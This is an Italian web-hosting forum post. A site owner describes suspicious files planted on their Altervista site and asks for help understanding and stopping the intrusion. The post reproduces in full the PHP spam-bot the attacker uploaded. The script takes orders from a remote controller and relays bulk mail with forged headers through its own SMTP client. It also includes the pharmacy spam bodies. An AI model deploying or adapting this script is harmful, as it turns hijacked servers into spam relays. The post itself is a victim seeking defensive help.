[Hack - Spam] File sospetti
Salve a tutti, negli ultimi giorni, mi sono trovato in root principale file sospetti, di spam, più precisamente 2 file .txt e uno .php:
-body.txt
-body1.txt
-l_backuptoster.php
Sono sicuro che non sono stati uppati attraverso la password del sito.. non so come fermare questo attacco hacker, inoltre c'è il file l_backuptoster.php che non capisco come agisce, e qual'è la sua funzione..
Vi posto il suo codice:
Codice PHP:
<html><body>
<?php
function execSend()
{
ignore_user_abort(true);
set_time_limit (0);
ini_set('max_execution_time',0);
error_reporting(0);
$fbody = fopen("body.txt", "r");
if(!$fbody)
{
echo "fopen_failed";
return false;
}
$body[0] = "";
while($line = fread($fbody, 1024))
$body[0] .= $line;
fclose($fbody);
$ADD_BODY_COUNT = 1;
for($j = 1; $j <= $ADD_BODY_COUNT; ++$j)
{
$fbody = fopen("body$j.txt", "r");
if($fbody)
{
$body[$j] = "";
while($line = fread($fbody, 1024))
$body[$j] .= $line;
}
fclose($fbody);
}
srand(time());
if(isset($_GET[id]) && isset($_GET[ipAddr]) && isset($_GET[serv_name]))
{
$id = $_GET[id];
$managerAddr = $_GET[ipAddr];
$serv_name = $_GET[serv_name];
$mailS = new SMTPmail();
//$sock = fsockopen($managerAddr, 8000);
//if(!$sock)
//{
$sock = fsockopen($managerAddr, 25);
if(!$sock)
{
echo "socket_failed";
return false;
}
//}
if(!fwrite($sock, $id))
{
fclose($sock);
return false;
}
$mx_hash;
$countAllFailed = 0;
while(true)
{
$addr = array();
$line = "";
$ind = -2;
$from = "";
$theme = "";
do
{
$line = fgets($sock);
if($line == false || feof($sock) || $line == "\r\n")
break;
if($ind == -2)
{
$from = chop($line);
++$ind;
}elseif($ind == -1)
{
$theme = chop($line);
++$ind;
}else
{
$addr[$ind] = chop($line);
++$ind;
}
}while(true);
if($line == false || $from == "" || $theme == "")
{
fclose($sock);
return $countReWork;
}
$countSuccess = 0;
foreach($addr as $mailAddr)
{
if($countAllFailed > 10)
{
fclose($sock);
return 0;
}
$hostSMTP = substr($mailAddr, strpos($mailAddr, "@") + 1);
$mxHost;
if(isset($mx_hash[$hostSMTP]))
{
$mxHost = $mx_hash[$hostSMTP];
}else
{
$mxHostes;
if(!getmxrr/*getmxrrStub*/($hostSMTP, $mxHostes))
{
++$countAllFailed;
continue;
}
$mx_count = count($mxHostes);
if($mx_count == 0)
{
++$countAllFailed;
continue;
}
$mx_hash[$hostSMTP] = $mxHostes[0];
$mxHost = $mxHostes[0];
}
$random_num = rand(10000, 99999);
$SEND = "Received: (qmail $random_num invoked by uid 33); ".gmdate("d M Y H:i:s O")."\r\n";
$SEND .= "Date: ".gmdate("d M Y H:i:s O")." \r\n";
$SEND .= "Message-ID: <".gmdate("YmdHis").".$random_num.qmail@".$serv_name.">\r\n";
$SEND .= 'Subject: '.$theme."\r\n";
$SEND .= "Reply-To: $from\r\n";
$SEND .= "MIME-Version: 1.0\r\n";
$SEND .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n";
$SEND .= "Content-Transfer-Encoding: 8bit\r\n";
$SEND .= "From: <$from>\r\n";
$SEND .= "To: $mailAddr\r\n";
$SEND .= "X-Priority: 3\r\n\r\n";
$SEND .= $body[array_rand($body)]."\r\n";
if($mailS->send_email($mxHost, $from, $mailAddr, $SEND, $serv_name))
{
$countAllFailed = 0;
++$countSuccess;
}else
++$countAllFailed;
}
if(!fwrite($sock, "$countSuccess"))
{
fclose($sock);
return $countReWork;
}
$countReWork += 1;
}
fclose($sock);
return $countReWork;
} // if(isset($_GET[id]) && isset($_GET[ipAddr] && isset($_GET[serv_name])
else if(isset($_POST[job]) && isset($_POST[from]) && isset($_POST[sub]) && isset($_POST[serv_name]))
{
$serv_name = $_POST[serv_name];
$job_set = explode(" ", $_POST['job']);
$job_set_count = count($job_set);
if($job_set_count == 0)
{
echo "job(explode) - error";
exit();
}
$from = $_POST[from];
$theme = $_POST[sub];
$random_num = rand(10000, 99999);
$add_header = "Received: (qmail $random_num invoked by uid 33); ".gmdate("d M Y H:i:s O")."\r\n";
$add_header .= "Date: ".gmdate("d M Y H:i:s O")." \r\n";
$add_header .= "Message-ID: <".gmdate("YmdHis").".$random_num.qmail@".$serv_name.">\r\n";
$add_header .= 'Subject: '.$theme."\r\n";
$add_header .= "Reply-To: $from\r\n";
$add_header .= "MIME-Version: 1.0\r\n";
$add_header .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n";
$add_header .= "Content-Transfer-Encoding: 8bit\r\n";
$add_header .= "From: <$from>\r\n";
$add_header .= "To: $mailAddr\r\n";
$add_header .= "X-Priority: 3\r\n\r\n";
$i = 0;
$good = 0;
$bad = 0;
foreach($job_set as $mailAddr)
{
++$i;
if(mail($mailAddr, $theme, $body[array_rand($body)], $add_header))
{
++$good;
$bad = 0;
}
else
{
++$bad;
}
if(2*$bad > $job_set_count)
exit();
}
echo "job_completed";
} // else if(isset($_POST['job']) && isset($_POST['serv_name']))
return 0;
} // function execSend()
class SMTPmail
{
var $m_sockServ = false;
var $m_lastMsg = "";
function read_line()
{
$line = fread($this->m_sockServ, 1024);
if(strlen($line) < 3)
return false;
return substr($line, 0, 3);
return false;
}
function send_command($code, $cmd)
{
fwrite($this->m_sockServ, $cmd."\r\n");
$line = $this->read_line();
if($line == false)
{
$this->m_lastMsg = "";
return false;
}else
{
$this->m_lastMsg = "$line";
return $line == $code;
}
}
function crlf_encode($data)
{
$data .= "\n";
$data = str_replace("\n", "\r\n", str_replace("\r", "", $data));
$data = str_replace("\n.\r\n", "\n. \r\n", $data);
return $data;
}
function connect($hostname)
{
$this->m_sockServ = fsockopen($hostname, 25);
return $this->m_sockServ != 0;
}
function handle_email($from, $to, $data, $local_addr)
{
if( !$this->send_command(250, "HELO ".$local_addr)
|| !$this->send_command(250, "MAIL FROM:<$from>")
|| !$this->send_command(250, "RCPT TO:<$to>")
|| !$this->send_command(354, "DATA")
|| !fwrite($this->m_sockServ, $data)
|| !$this->send_command(250, ".")
|| !$this->send_command(221, "QUIT"))
{
return false;
}
return true;
}
function send_email($hostname, $from, $to, $data, $local_addr)
{
if(!$this->connect($hostname))
{
echo "cant connect to SMTP\n";
return false;
}
$ret = false;
$code = $this->read_line();
if($code == "220")
{
$data = $this->crlf_encode($data);
$ret = $this->handle_email($from, $to, $data, $local_addr);
}
fclose($this->m_sockServ);
return $ret;
}
}
if($res = execSend())
{
}else
{
}
?>
</body></html>
Mentre i file .txt... (censuro in parte gli urls)
-body.txt:
Codice HTML:
<html>
<center>
<font size="5"><b><a href="http://studio-produ******.com/rrr1.html">ONLINE PHARMACY</a></b></font>
<br>
<br>
<font size="3"><b>Best PRICE on NET
</html>
-body1.txt:
Codice HTML:
<html>
<center>
<font size="5"><b><a href="http://mundt-werbe******.de/rrr1.html">VIA*RA AND CIALIS FREE</a></b></font>
</html>
Non so, come posso risolvere? mi trovo del tutto disorientato..
P.S: Uso CuteNews UTF-8, qualcuno potrebbe pensare che sia una sua falla, ma ne dubito, nessuna segnalazione, nel web di questo problema, nemmeno sul loro forum ufficiale... sto anche creando un login, con pannello di controllo che permette di uppare immagini come avatar, uno magari penserebbe che è colpa di quello, ma accetta solo file jpg, png, gif inoltre uppa tutto obbligatoriamente in una determinata cartella, quindi lo escludo. Non è che è un bug di Altervista? Chiedo se per favore qualcuno dello staff può intervenire nella discussione.. Se fosse così ci sarebbero migliaia di siti a rischio!
